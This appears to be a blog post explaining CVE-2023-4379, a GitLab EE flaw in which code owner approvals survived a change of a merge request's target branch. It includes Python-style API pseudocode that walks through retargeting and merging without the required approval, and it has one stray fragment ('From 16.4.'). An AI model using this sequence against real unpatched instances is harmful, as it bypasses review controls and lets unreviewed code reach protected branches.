CVE-2023-4379 is a serious security issue that was discovered in GitLab Enterprise Edition (EE). This vulnerability affects all GitLab EE versions starting from 15.3 up to (but not including) 16.2.8, 16.3 up to (but not including) 16.3.5, and 16.4 up to (but not including) 16.4.1.
This post will break down what this vulnerability means, how an attacker can exploit it, show some code snippets, and give you exclusive guidance on keeping your repositories secure.
Code Owners and Approvals
In GitLab, Code Owners are users or teams responsible for certain files or directories. When someone opens a Merge Request (MR), the system can require these code owners to review and approve changes before they’re merged.
The Bug:
Normally, if a Merge Request changes to target a different branch (say from develop to main), GitLab is supposed to re-evaluate which code owners need to approve, since different branches can have different code owners.
But due to CVE-2023-4379, *code owner approval was NOT always removed when target branch changed*. That means approvals could “stick around” from the previous branch, allowing code to be merged without all appropriate reviews.
Why Is This Bad?
- Unauthorized Code Insertion: Users could potentially merge code into a sensitive branch without new required approvals.
- Security Bypass: This breaks the review process that many teams rely on to enforce security and compliance.
A Simple Example
Let’s make this concrete with a real-world scenario.
Step 1: Two Branches with Different Owners
Suppose your project has two branches – dev and main.
dev/.gitlab/CODEOWNERS
/src/* @alice
main/.gitlab/CODEOWNERS
/src/* @bob
- Alice is code owner for /src/ on dev
- Bob is code owner for /src/ on main
Create a new MR targeting dev:
- Author edits /src/secrets.txt
Here’s a step-by-step way to trigger this using the GitLab API (with Python-style pseudocode)
import requests
GITLAB_URL = "https://gitlab.example.com";
TOKEN = "YOUR_PERSONAL_TOKEN"
headers = {"Authorization": f"Bearer {TOKEN}"}
# Step 1: Create MR on 'dev'
create_mr_payload = {
"source_branch": "feature_branch",
"target_branch": "dev",
"title": "Malicious feature"
}
mr = requests.post(f"{GITLAB_URL}/api/v4/projects/<project_id>/merge_requests",
headers=headers, json=create_mr_payload).json()
mr_iid = mr["iid"]
# Step 2: Get Alice to approve (simulate)
requests.post(f"{GITLAB_URL}/api/v4/projects/<project_id>/merge_requests/{mr_iid}/approve",
headers=headers) # Must be as Alice
# Step 3: Update MR to target 'main'
update_payload = {"target_branch": "main"}
requests.put(f"{GITLAB_URL}/api/v4/projects/<project_id>/merge_requests/{mr_iid}",
headers=headers, json=update_payload)
# Step 4: Merge without Bob’s approval
requests.put(f"{GITLAB_URL}/api/v4/projects/<project_id>/merge_requests/{mr_iid}/merge",
headers=headers)
In a vulnerable version, the last step will succeed without error—even though Bob never reviewed the change!
From 16.4.
GitLab CE (Community Edition) is NOT affected.
How Was It Fixed?
GitLab addressed the issue by ensuring that, if the target branch changes, previous code owner approvals are invalidated and re-calculated according to the new branch’s rules.
References
- GitLab Security Advisory (Official)
- CVE-2023-4379 entry at NVD
- CODEOWNERS Feature Docs
Closing
Automated code owner approval is at the heart of secure development. If you rely on teams for compliance and code security, always keep your software up to date, audit your review processes, and know the vulnerabilities that could threaten your workflow.
Let us know if you have more questions about securing your GitLab projects!
Timeline
Published on: 11/09/2023 21:15:24 UTC
Last modified on: 11/16/2023 19:24:36 UTC